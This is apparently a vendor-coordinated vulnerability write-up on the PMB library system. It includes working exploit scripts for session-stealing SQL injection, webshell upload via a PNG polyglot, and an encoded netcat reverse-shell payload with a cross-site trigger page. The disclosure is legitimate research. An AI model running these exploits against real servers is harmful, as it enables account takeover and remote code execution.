Friday, February 9, 2024

A Journey Into Finding Vulnerabilities in the PMB Library Management System

Introduction


The following research was conducted by Nexa’s security team with the goal to contribute to the ongoing efforts to improve the security of open-source software and protect the organizations that rely on them.

In the search for open source projects to look for vulnerabilities, the idea of reviewing the code of a library system called PMB used by several well-known organizations came up. PMB, being an open-source project, provides an excellent opportunity for security researchers to study its codebase, identify potential vulnerabilities, and contribute to its security.

According to Wikipedia, "PMB is a fully featured open source integrated library system. It is continuously developed and maintained by the French company PMB Services."

For instance, using the following Google Dork, almost 5 million results were obtained, which indicates the widespread use of this software.

Google search for PMB


Plan


The objective was to find critical impact vulnerabilities that would allow bypassing authentication and subsequently achieve remote command execution using authenticated components.

Authenticated and unauthenticated components

Setup


In order to conduct the research, a local environment composed of the following was prepared:
  • Ubuntu 22.04 LTS instance.
  • PHP modules required to use the software (PMB).
  • A database server (MariaDB) with logging enabled to analyze the SQL queries performed by the application.
  • Xdebug and Visual Studio Code to debug the application.


Results

The summary of the identified vulnerabilities is listed below (for PMB version 7.4.7 and earlier).

Pre-authenticated vulnerabilities

  • CVE-2023-52153: SQL injection in /pmb/opac_css/includes/sessions.inc.php
    • CVSS: 7.5 (High)
  • CVE-2023-37177: SQL injection in /admin/convert/export_z3950.php
    • CVSS: 7.5 (High)
  • CVE-2023-51828: SQL injection in /admin/convert/export_z3950_new.php
    • CVSS: 7.5 (High)
  • CVE-2023-38844: SQL injection in export_skos.php
    • CVSS: 7.5 (High)

Post-authenticated vulnerabilities

  • Insecure file upload in /admin/convert/start_import.php
    • CVSS: 7.2 (High)
  • CVE-2023-52154: Insecure file upload in camera_upload.php
    • CVSS: 7.2 (High)
  • CVE-2023-52155: SQL injection to RCE in /admin/sauvegarde/run.php
    • CVSS: 8.8 (High)


Pre-auth vulnerabilities


CVE-2023-52153: Time-based SQL Injection in session management component (/pmb/opac_css/includes/sessions.inc.php)


When reviewing the code related to the session handling (/pmb/opac_css/includes/sessions.inc.php), the unsafe concatenation in SQL queries was identified. Also, the use of PHP's addslashes() function to escape some entries in the construction of SQL queries was noted.
root@ubuntu:/var/www/html/pmb# batcat -pp opac_css/includes/sessions.inc.php | grep addslashes -n
59:	$query .= "SESSID='". addslashes($PHPSESSID) . "' and login = '".$PHPSESSLOGIN."'";
120:	define('SESSlogin'	, addslashes($PHPSESSLOGIN));
121:	define('SESSname'	, addslashes($SESSNAME));
122:	define('SESSid'		, addslashes($PHPSESSID));
241:	$query = "DELETE FROM sessions WHERE login='".addslashes($login)."'";
242:	$query .= " AND SESSNAME='".addslashes($SESSNAME)."' and SESSID='".addslashes($PHPSESSID)."'";
270:	$query .= "SESSID='".addslashes($PHPSESSID)."'";
  
Despite the use of the addslashes() function in multiple places, it can be noted that in the query constructed on line 59, which concatenates the value of the PmbOpac-LOGIN session cookie (declared in the $PHPSESSLOGIN variable), it is possible to inject arbitrary SQL queries.

The code for the vulnerable function (checkEmpr) is provided below. In this case, SQL queries are injected into a SELECT statement that validates the user's session identifier and its username.
28 function checkEmpr($SESSNAME, $allow=0,$user_connexion='') {
34     $checkempr_type_erreur = CHECK_EMPR_NO_SESSION ;
40     
42     $PHPSESSID = (isset($_COOKIE["$SESSNAME-SESSID"]) ? $_COOKIE["$SESSNAME-SESSID"] : '');
43     if ($user_connexion) {
44         $PHPSESSLOGIN = $user_connexion; 
45     } else {
46         if(isset($_COOKIE["$SESSNAME-LOGIN"])) {
47             $PHPSESSLOGIN = $_COOKIE["$SESSNAME-LOGIN"];
48         } else {
49             $PHPSESSLOGIN = '';
50         }
51     }
52     $PHPSESSNAME = (isset($_COOKIE["$SESSNAME-SESSNAME"]) ? $_COOKIE["$SESSNAME-SESSNAME"] : '');
53     
55     $ip = $_SERVER['REMOTE_ADDR'];
56 
58     $query = "SELECT SESSID, login, IP, SESSstart, LastOn, SESSNAME FROM sessions WHERE ";
59     $query .= "SESSID='". addslashes($PHPSESSID) . "' and login = '".$PHPSESSLOGIN."'";
60     $result = pmb_mysql_query($query);
61     $numlignes = pmb_mysql_num_rows($result);
  
The vulnerability can be validated using a time-based SQL injection technique as in the following screenshot where a timeout of 5 seconds is produced.
Confirming the SQL Injection
After confirming the existence of the vulnerability, the sessions of authenticated users were extracted using sqlmap with a time-based SQL injection technique.
Note: The user's credentials could also be extracted from the database.
root@ubuntu:/var/www/html/pocs# sqlmap -u "http://127.0.0.1/pmb/opac_css/index.php" --cookie "PmbOpac-LOGIN=*" -v 3 --fresh-queries --sql-query "use bibli; SELECT SESSID FROM sessions WHERE login = 'admin';" --time-sec 3
SELECT SESSID FROM sessions WHERE login = 'admin' [1]:
[*] 3788863056
The extracted session identifier matches the session of the user "admin" where SESSNAME is PhpMyBibli.
MariaDB [bibli]> select * from sessions;
+------------+-------+-----------+------------+------------+------------+---------------+
| SESSID     | login | IP        | SESSstart  | LastOn     | SESSNAME   | notifications |
+------------+-------+-----------+------------+------------+------------+---------------+
| 3788863056 | admin | 127.0.0.1 | 1704409090 | 1704409940 | PhpMyBibli | NULL          |
| 4358633956 |       | 127.0.0.1 | 1704409266 | 1704409428 | PmbOpac    | NULL          |
| 5627396735 |       | 127.0.0.1 | 1704409428 | 1704409462 | PmbOpac    | NULL          |
| 8651032647 |       | 127.0.0.1 | 1704409528 | 1704409731 | PmbOpac    | NULL          |
| 5730435623 |       | 127.0.0.1 | 1704409744 | 1704409900 | PmbOpac    | NULL          |
| 3517240464 |       | 127.0.0.1 | 1704409915 | 1704410060 | PmbOpac    | NULL          |
+------------+-------+-----------+------------+------------+------------+---------------+
6 rows in set (0.000 sec)

After modifying the session cookie it is possible to authenticate as the administrator user.

Logged-in as admin


CVE-2023-37177 and CVE-2023-51828: SQL Injection in /admin/convert/export_z3950.php and /admin/convert/export_z3950_new.php


Note: Both components (export_z3950_new.php and export_z3950.php) are vulnerable because they make use of the same function from the /admin/convert/export.class.php class.

When analyzing the deauthenticated component accessible via the /admin/convert/export_z3950.php path, it was identified that it receives the GET parameters "command" and "query". It then assigns the value of the query parameter to the variable $id and calls the get_next_notice function.
33 $command=$_GET["command"];
35 $query=$_GET["query"];

<..>

130 case "get_notice":
131   $id=$query;
132   $e = new export(array($id));
133   $e -> get_next_notice();
134   $toiso = new xml_unimarc();
135   $toiso->XMLtoiso2709_notice($e->notice);
136   echo "0@No errors@";
137   echo $toiso->notices_[0];
138   break;
The get_next_notice function in /admin/convert/export.class.php is vulnerable to SQL injections due to the insecure concatenation of the notice_id in the construction of an SQL query.
297 if ($this->current_notice != -1) {
299   $requete = "select * from notices where notice_id=".$this->notice_list[$this->current_notice];
300   $resultat = pmb_mysql_query($requete);
301   $res = pmb_mysql_fetch_object($resultat);
			
303   if (!$res)
304     return false;
To verify the existence of this vulnerability, a boolean-based SQL injection technique can be used:
True condition (content is returned):
http://host/pmb/admin/convert/export_z3950.php?command=get_notice&query=9999%20or%201=1%20limit%201

False condition (returned content is empty):
http://host/pmb/admin/convert/export_z3950.php?command=get_notice&query=9999%20or%201=2%20limit%201
After verifying the existence of the vulnerability, the session cookies are extracted from the database with the following script (using an union-based SQL injection technique).
#!/usr/bin/env python3
import requests
import sys
import re
import random
import argparse

def exploit(notice_id):
    for i in range(30,70):
        columns = "1," * i
        url = "{0}/admin/convert/export_z3950.php?command=get_notice&query={1}%20UNION%20SELECT%20(select+group_concat('(',SESSID,')','\\n')+from+sessions),{2}%20limit%201,1".format(args.pmb_url, notice_id, columns[:-1])
        headers = {"Connection": "close"}
        r = requests.get(url, headers=headers)
        sessid_list = re.findall('\((\d{10})\)', r.text)
        if sessid_list:
            print(sessid_list)
            return True
    if not sessid_list:
        return False

if __name__ == '__main__':
    parser = argparse.ArgumentParser(prog='', description='SQL Injection in export_z3950.php (Steal PhpMyBibli-SESSID)', epilog='Text at the bottom of help')
    parser.add_argument('pmb_url', type=str, help='PMB\'s URL (e.g. http://127.0.0.1/pmb or http://127.0.0.1)')
    parser.add_argument('--notice_id', type=str, help='Custom notice id (if undefined, fuzzing will be performed)',required=False)
    parser.add_argument("--verbose", help="Increase output verbosity", action="store_true")
    args = parser.parse_args()

    if args.notice_id:
        exploit(args.notice_id)

    if not args.notice_id:
        while True:
            notice_id = random.randint(1, 300)
            result = exploit(notice_id)
            if args.verbose:
                print("Fuzzing notice_id: {0}, Result={1}".format(notice_id, result))
            if result:
                break
The result of the script returns a list of sessions:
root@ubuntu:/var/www/html/pocs# python3 Union-SQLI-export_z3950.py http://127.0.0.1/pmb/
['1886627101', '3239147683', '3324994107', '3788863056', '4604414197', '5080229282', '7066911231', '7152832893']


CVE-2023-38844: SQL Injection in export_skos.php


Finishing with unauthenticated SQL injections, the following vulnerability is detailed, which refers to a SQL injection through the thesaurus parameter of the /devel/export_skos.php path.

When analyzing the code of the /devel/export_skos.php file, it is possible to observe the unsafe concatenation of a user-supplied input (the $numt variable) in an SQL query.
$numt = $_GET["thesaurus"];
(...)

$res = pmb_mysql_query("select * from thesaurus where id_thesaurus=".$numt);
$rt = pmb_mysql_fetch_object($res);
To verify the existence of this vulnerability, a boolean-based SQL injection technique can be used as in the previous case (SQL Injection in /admin/convert/export_z3950.php).
True condition (content is returned): 
http://host/devel/export_skos.php?tname=%0a&prefix=&thesaurus=1%20or%201=1

False condition (returned content is empty):
http://host/devel/export_skos.php?tname=%0a&prefix=&thesaurus=1%20or%201=2
Additionally, after confirming the existence of the vulnerability, the session cookies are extracted with the following script (using a union-based SQL injection technique).
#!/usr/bin/env python3
import warnings
warnings.filterwarnings("ignore")
import requests
import sys
import re
import random
import argparse

def exploit():
    for i in range(3,15):
        columns = "1," * i
        url = "{0}/devel/export_skos.php?tname=%0a&prefix=&thesaurus=1+union+select+1,(select+group_concat(SESSID,'\\n')+COLLATE+utf8_general_ci+from+sessions),{1}+limit+1,1".format(args.pmb_url, columns[:-1])
        headers = {"Connection": "close"}
        r = requests.get(url, headers=headers)
        sessid_list = re.findall('\d{10}', r.text)
        if sessid_list:
            print(sessid_list)
            break
    if not sessid_list:
        return False

if __name__ == '__main__':
    parser = argparse.ArgumentParser(prog='', description='SQL Injection in export_skos.php (Steal PhpMyBibli-SESSID)', epilog='Text at the bottom of help')
    parser.add_argument('pmb_url', type=str, help='PMB\'s URL (e.g. http://127.0.0.1/pmb or http://127.0.0.1)')
    args = parser.parse_args()

    exploit()
The results obtained match the information extracted from the database with the vulnerability of the previous case (SQL Injection in /admin/convert/export_z3950.php).
root@ubuntu:/var/www/html/pocs# python3 Union-SQLI-export_skos.py http://127.0.0.1/pmb/
['1886627101', '3239147683', '3324994107', '3788863056', '4604414197', '5080229282', '7066911231', '7152832893']


Post-auth vulnerabilities


After showing multiple unauthenticated vulnerabilities that allow obtaining an authenticated session, the following authenticated vulnerabilities are detailed, which enable the execution of commands on the server (RCE).

Insecure File Upload in /admin/convert/start_import.php


Note: The CVE for this vulnerability was assigned to another security researcher.

Insecure file upload vulnerability in /admin/convert/start_import.php allows arbitrary file upload. In this case, it is due to the lack of validation of file extensions (phtml, php, etc) that can be interpreted by the application server.

As can be seen in the following code snippet, the uploaded file is stored in a temporary path ($base_path/temp/example_file.txt).
124  if ($_FILES['import_file']['name']) {
125    if (!@ copy($_FILES['import_file']['tmp_name'], "$base_path/temp/".$origine.$_FILES['import_file']['name'])) {
126      error_message_history($msg["ie_tranfert_error"], $msg["ie_transfert_error_detail"], 1);
127      exit;

<...>
After the file is uploaded via the /admin/convert/start_import.php route, the PHP file is accessible via the /pmb/temp/shell.php application’s path.
POST /admin/convert/start_import.php?bidon=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------15247239112720740484965183530
Cookie: PhpMyBibli-LOGIN=admin; PhpMyBibli-SESSID=test
Content-Length: 404

-----------------------------15247239112720740484965183530
Content-Disposition: form-data; name="import_file"; filename="shell.php"
Content-Type: application/x-php


<?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>
-----------------------------15247239112720740484965183530
Content-Disposition: form-data; name="import_type"

2
-----------------------------15247239112720740484965183530

To automate the process of uploading a webshell and executing a command, the following proof of concept was developed. It iterates over various session identifiers to upload a file and subsequently execute it.
#!/usr/bin/env python3
import warnings
warnings.filterwarnings("ignore")
import requests
import argparse
import re

def upload_webshell(url, cookies):
    data = "-----------------------------15247239112720740484965183530\r\nContent-Disposition: form-data; name=\"import_file\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>\n\r\n-----------------------------15247239112720740484965183530\r\nContent-Disposition: form-data; name=\"import_type\"\r\n\r\n2\r\n-----------------------------15247239112720740484965183530\r\n"
    url = "{0}/admin/convert/start_import.php?bidon=1".format(url)
    headers = {"Content-Type": "multipart/form-data; boundary=---------------------------15247239112720740484965183530"}

    r = requests.post(url, headers=headers, cookies=cookies, data=data)
    filename = re.findall('\d{18}shell.php', r.text)
    if filename:
        print("Webshell URL: {0}/temp/{1}".format(args.pmb_url, filename[0]))
        return filename
    
def execute_command(url, filename, command):
    url = "{0}/temp/{1}?cmd={2}".format(url, filename, command)
    r =  requests.get(url)
    return r.text

if __name__ == '__main__':
    parser = argparse.ArgumentParser(prog='', description='File Upload in start_import.php (RCE)', epilog='Text at the bottom of help')
    parser.add_argument('pmb_url', type=str, help='PMB\'s URL (e.g. http://127.0.0.1/pmb or http://127.0.0.1)')
    parser.add_argument('--sessid', type=str, help='PhpMyBibli-SESSID',required=False)
    parser.add_argument('--sessid_list', nargs='+', help='PhpMyBibli-SESSID',required=False)
    parser.add_argument('--command', type=str, help='Execute custom command',required=False)
    args = parser.parse_args()

    if not args.sessid:
        if not args.sessid_list:
            exit()

    sessid_list = []

    status = False

    url = "{0}/".format(args.pmb_url)
    command = args.command

    if args.sessid:
        sessid_list.append(args.sessid)
    elif args.sessid_list:
        sessid_list = args.sessid_list

    for sessid in sessid_list:
        cookies = {"PhpMyBibli-LOGIN": "admin", "PhpMyBibli-SESSID": sessid}

        filename = upload_webshell(url, cookies)
        if filename:
            status = True
            if command:
                print(execute_command(url, filename[0], command))
        if status:
            break
When executed, passing it the list of session identifiers obtained with the proof of concept shown in the "SQL Injection in export_skos.php" vulnerability, the file upload is confirmed and the "id" command is executed:
root@ubuntu:/var/www/html/pocs# python3 Union-SQLI-export_skos.py http://127.0.0.1/pmb/                                                                                                                    
['1293437551', '1886627101', '3239147683', '3324994107', '3788863056', '4604414197', '5080229282', '7066911231', '7152832893']                                                                             
root@ubuntu:/var/www/html/pocs# python3 File-Upload-start_import.py --sessid_list 1293437551 1886627101 3239147683 3324994107 --command "id" http://127.0.0.1/pmb/                                         
Webshell URL: http://127.0.0.1/pmb//temp/751252001704414377shell.php                                                                                                                                       
uid=33(www-data) gid=33(www-data) groups=33(www-data)


CVE-2023-52154: Insecure File Upload in camera_upload.php

Additionally, another arbitrary file upload vulnerability was identified in the camera_upload.php component. Similar to the previous file upload vulnerability, it allows the upload of PHTML files that are accessible through the application's webroot (e.g. /pmb/uploaded_file.phtml) to achieve remote code execution on the server.

In the following code, the base64 encoded value sent using the data URI scheme (data://) that refers to the image content is extracted and then stored on the server.

try {
    $uploadImage = new UploadImage($dir, $filename);

    $filteredData = explode(',', $_POST['imgBase64']) ?? [];
    $imageString = base64_decode($filteredData[1] ?? "");

    $uploadImage->setImageString($imageString);
} catch (\Exception $e) {
    response(0, $e->getMessage());
}

if ($uploadImage->moveImage()) {
    response(1, "File uploaded !");
}
In this case, it was necessary to include the magic bytes of a PNG image in the file to be uploaded:
root@ubuntu:/var/www/html/pocs# echo iVBORw0KGgo= | base64 -d | xxd
00000000: 8950 4e47 0d0a 1a0a                      .PNG....
root@ubuntu:/var/www/html/pocs# echo iVBORw0KGgoAAAANSUhEUgAAPD9waHAgaWYoaXNzZXQoJF9HRVRbJ2NtZCddKSl7c3lzdGVtKCRfR0VUWydjbWQnXSk7fSA/Pg== | base64 -d > file.png
root@ubuntu:/var/www/html/pocs# file file.png
file.png: PNG image data, 15423 x 1885892640, 105-bit
root@ubuntu:/var/www/html/pocs# cat file.png
PNG

IHDR<?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>
The PHTML webshell is uploaded through the path "/camera_upload.php". The "data://" scheme is employed to specify both the file type (image/png) and the content encoding (base64).
POST /camera_upload.php
Host: 127.0.0.1
Cookie: PhpMyBibli-LOGIN=admin; PhpMyBibli-SESSID=
The following proof of concept was successfully tested and exploited in PMB version 7.4.6.
#!/usr/bin/env python3 import warnings warnings.filterwarnings("ignore") import requests import argparse import random import string def upload_webshell(url, cookies, headers, filename): data = {"upload_filename": "{0}.phtml".format(filename), "imgBase64": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAPD9waHAgaWYoaXNzZXQoJF9HRVRbJ2NtZCddKSl7c3lzdGVtKCRfR0VUWydjbWQnXSk7fSA/Pg=="} url = "{0}/camera_upload.php".format(url) r = requests.post(url, headers=headers, cookies=cookies, data=data) if "{0}.phtml".format(filename) in r.text: return True def execute_command(url, filename, command): r = requests.get("{0}/{1}.phtml?cmd={2}".format(url, filename, command)) return r.text def clean_webshell(url, cookies, headers, filename): data = {"upload_filename": "{0}.phtml".format(filename), "imgBase64": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA=="} url = "{0}/camera_upload.php".format(url) r = requests.post(url, headers=headers, cookies=cookies, data=data) def random_string(size=16, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) if __name__ == '__main__': parser = argparse.ArgumentParser(prog='', description='File Upload in camera_upload.php (RCE)', epilog='Text at the bottom of help') parser.add_argument('pmb_url', type=str, help='PMB\'s URL (e.g. http://127.0.0.1/pmb or http://127.0.0.1)') parser.add_argument('--sessid', type=str, help='PhpMyBibli-SESSID',required=False) parser.add_argument('--sessid_list', nargs='+', help='PhpMyBibli-SESSID',required=False) parser.add_argument('--command', type=str, help='Execute custom command',required=False) parser.add_argument("--clean_webshell", help="Clean webshell after command execution", action="store_true") args = parser.parse_args() if not args.sessid: if not args.sessid_list: exit() sessid_list = [] url = "{0}/".format(args.pmb_url) headers = {"Connection": "close", "Content-Type": "application/x-www-form-urlencoded"} filename = random_string() command = args.command if args.sessid: sessid_list.append(args.sessid) elif args.sessid_list: sessid_list = args.sessid_list for sessid in args.sessid_list: status = False cookies = {"PhpMyBibli-LOGIN": "admin", "PhpMyBibli-SESSID": sessid} if upload_webshell(url, cookies, headers, filename): status = True if command: print(execute_command(url, filename, command)) if args.clean_webshell: clean_webshell(url, cookies, headers, filename) if status: break
After executing it, by passing a list of session identifiers, the PHTML file is uploaded and the "id" command is executed.
root@ubuntu:/var/www/html/pocs# python3 File-Upload-7.4.6-camera_upload.py --sessid_list 1293437551 8679922718 3239147683 3324994107 --command "id" http://127.0.0.1/pmb/
 PNG

IHDRuid=33(www-data) gid=33(www-data) groups=33(www-data)

CVE-2023-52155: SQL Injection to RCE in /admin/sauvegarde/run.php


To conclude the vulnerability research, an attempt was made to find a more immediate way to achieve remote command execution. After reviewing several invocations of functions such as “eval” and “exec”, the possibility of obtaining a command injection through an authenticated SQL Injection was identified.
/admin/sauvegarde/run.php
11  require($base_path."/includes/init.inc.php");
In the code snippet above, "/includes/init.inc.php" initializes the inclusion of multiple PHP files. An interesting file that was included is "/pmb/includes/global_vars.inc.php", which seems to implement code to emulate PHP's deprecated register_globals by defining global variables based on GET parameters.
/pmb/includes/global_vars.inc.php
170  foreach ($_GET as $__key__PMB => $val) {
171    if (!in_array($__key__PMB,$forbidden_overload)) {
172      $val = cp1252_normalize($val);
173      add_sl($val);
174      $GLOBALS[$__key__PMB] = $val;
175    }
176  }
Following with the code review, on line 34 (referring to a code section of the /admin/sauvegarde/run.php file), the code sets the variable $currentSauv to the value of the first element in the $sauvegardes array. 
/admin/sauvegarde/run.php
34 $currentSauv=$sauvegardes[0];
In the following code snippet, on line 45, a SQL query is formed by concatenating the variable $currentSauv directly into the query string.
/admin/sauvegarde/run.php
45  $requete = "select sauv_sauvegarde_nom, sauv_sauvegarde_file_prefix, sauv_sauvegarde_tables, sauv_sauvegarde_compress,sauv_sauvegarde_compress_command, sauv_sauvegarde_crypt from sauv_sauvegardes where sauv_sauvegarde_id=".$currentSauv;
46  $resultat = pmb_mysql_query($requete);
47  $res = pmb_mysql_fetch_object($resultat);
Note that the SQL query is attacker-controlled, because it's possible to modify the $sauvegardes variable by sending an array via a GET parameter that is added to the PHP global variables.

To verify the existence of this vulnerability, a time-based SQL injection technique can be used.
Sleep for 30 seconds:
http://host/pmb/admin/sauvegarde/run.php?sauvegardes[0]=99999%20or%20sleep(30)--%20-

Sleep for 5 seconds:
http://host/pmb/admin/sauvegarde/run.php?sauvegardes[0]=99999%20or%20sleep(5)--%20-

Afterwards, in the following code section (lines 118-129), if compression is enabled ($res->sauv_sauvegarde_compress equals 1), the script executes the compression commands obtained from the result of the previously mentioned query.
/admin/sauvegarde/run.php
118  if ($res->sauv_sauvegarde_compress==1) {
119    fwrite($fe,"#Compress commands : ".$res->sauv_sauvegarde_compress_command."\r\n");
120    $command=explode(":",$res->sauv_sauvegarde_compress_command);
121
122    switch ($command[0]) {
123      case 'external':
124        $c_command=str_replace("%s","../../admin/backup/backups/".$temp_file,$command[1]);
125        exec($c_command);
126        @unlink("../../admin/backup/backups/".$temp_file);
127        $temp_file="../../admin/backup/backups/".$temp_file.".".$command[3];
128        if (!file_exists($temp_file)) abort("Compression failed",$logid);
129          break;
Since the SQL query is attacker-controlled, as previously stated, manipulation of the selected sauv_sauvegarde_compress_command column value can be achieved by using a UNION clause to execute an arbitrary external command (e.g., external:ping example.com).

Example of manipulated command

The following payload injects a command to send a reverse shell to 127.0.0.1 on port 443.
http://host/pmb/admin/sauvegarde/run.php?sauvegardes[0]=9999%20or%201=1%20union%20select%201,1,1,1,GROUP_CONCAT(CHAR(101,120,116,101,114,110,97,108,58,114,109,32,45,102,32,47,116,109,112,47,102,59,109,107,102,105,102,111,32,47,116,109,112,47,102,59,99,97,116,32,47,116,109,112,47,102,124,47,98,105,110,47,115,104,32,45,105,32,50,62,38,49,124,110,99,32,49,50,55,46,48,46,48,46,49,32,52,52,51,32,62,47,116,109,112,47,102)),1%20LIMIT%201,1
Additionally, this vulnerability can be triggered when an authenticated user accesses a cross-site page (e.g. attacker.com/poc.html) that includes, for example, the following JavaScript code.
<html>
<body>Cross-site trigger POC</body>
<script>
document.location = 'http://<host>/pmb/admin/sauvegarde/run.php?sauvegardes[0]=9999%20or%201=1%20union%20select%201,1,1,1,GROUP_CONCAT(CHAR(101,120,116,101,114,110,97,108,58,114,109,32,45,102,32,47,116,109,112,47,102,59,109,107,102,105,102,111,32,47,116,109,112,47,102,59,99,97,116,32,47,116,109,112,47,102,124,47,98,105,110,47,115,104,32,45,105,32,50,62,38,49,124,110,99,32,49,50,55,46,48,46,48,46,49,32,52,52,51,32,62,47,116,109,112,47,102)),1%20LIMIT%201,1';
</script>
</html>
Finally, to automate the exploitation of the SQL Injection to RCE, the following proof of concept was developed, which iterates over a list of session identifiers trying to inject a specific OS command.
#!/usr/bin/env python3
import warnings
warnings.filterwarnings("ignore")
import requests
import sys
import re
import random
import argparse

def exploit(payload, cookies):
    for i in range(1,8):
        columns = "1," * i
        url = "{0}/admin/sauvegarde/run.php?sauvegardes[0]=9999%20OR%201=1%20UNION%20SELECT%20{1},{2},1%20LIMIT%201,1".format(args.pmb_url, columns[:-1], payload)
        print(url)
        print("\n")
        headers = {"Connection": "close"}
        r = requests.get(url, cookies=cookies, headers=headers)

def generate_payload(command):
    command = "external:{0}".format(command)
    ascii_points = [ord(char) for char in command]
    char_points = ','.join(str(point) for point in ascii_points)
    payload = f"GROUP_CONCAT(CHAR({char_points}))"
    return payload


if __name__ == '__main__':
    parser = argparse.ArgumentParser(prog='', description='SQL Injection to RCE in run.php', epilog='Text at the bottom of help')
    parser.add_argument('pmb_url', type=str, help='PMB\'s URL (e.g. http://127.0.0.1/pmb or http://127.0.0.1)')
    parser.add_argument('--sessid', type=str, help='PhpMyBibli-SESSID',required=False)
    parser.add_argument('--sessid_list', nargs='+', help='PhpMyBibli-SESSID',required=False)
    parser.add_argument('--command', type=str, help='Execute custom command',required=False)
    args = parser.parse_args()

    if not args.sessid:
        if not args.sessid_list:
            exit()
    
    sessid_list = []
    
    if args.sessid:
        sessid_list.append(args.sessid)
    elif args.sessid_list:
        sessid_list = args.sessid_list

    for sessid in sessid_list:
        cookies = {"PhpMyBibli-LOGIN": "admin", "PhpMyBibli-SESSID": sessid}
        payload = generate_payload(args.command)
        exploit(payload, cookies)
After running the proof of concept with a command to receive a reverse shell, it is received on port 443 as shown below.

Receiving a reverse shell


Fix


The vulnerabilities were reported to PMB Services, which implemented measures to correct them, so it is recommended to upgrade to the latest version of PMB available 
(7.5.4 at the time of writing the blog) at https://forge.sigb.net/projects/pmb/files.

Conclusion


The findings of this research highlight the importance of reviewing third-party library code that one relies upon to avoid potential security risks. The identification of insecure code development patterns —such as insecure SQL queries, improper file upload validations and improper argument escapes for operating system command execution— could indicate the presence of significant vulnerabilities. Because of this, it is crucial that developers adopt secure coding practices, considering security as they develop software.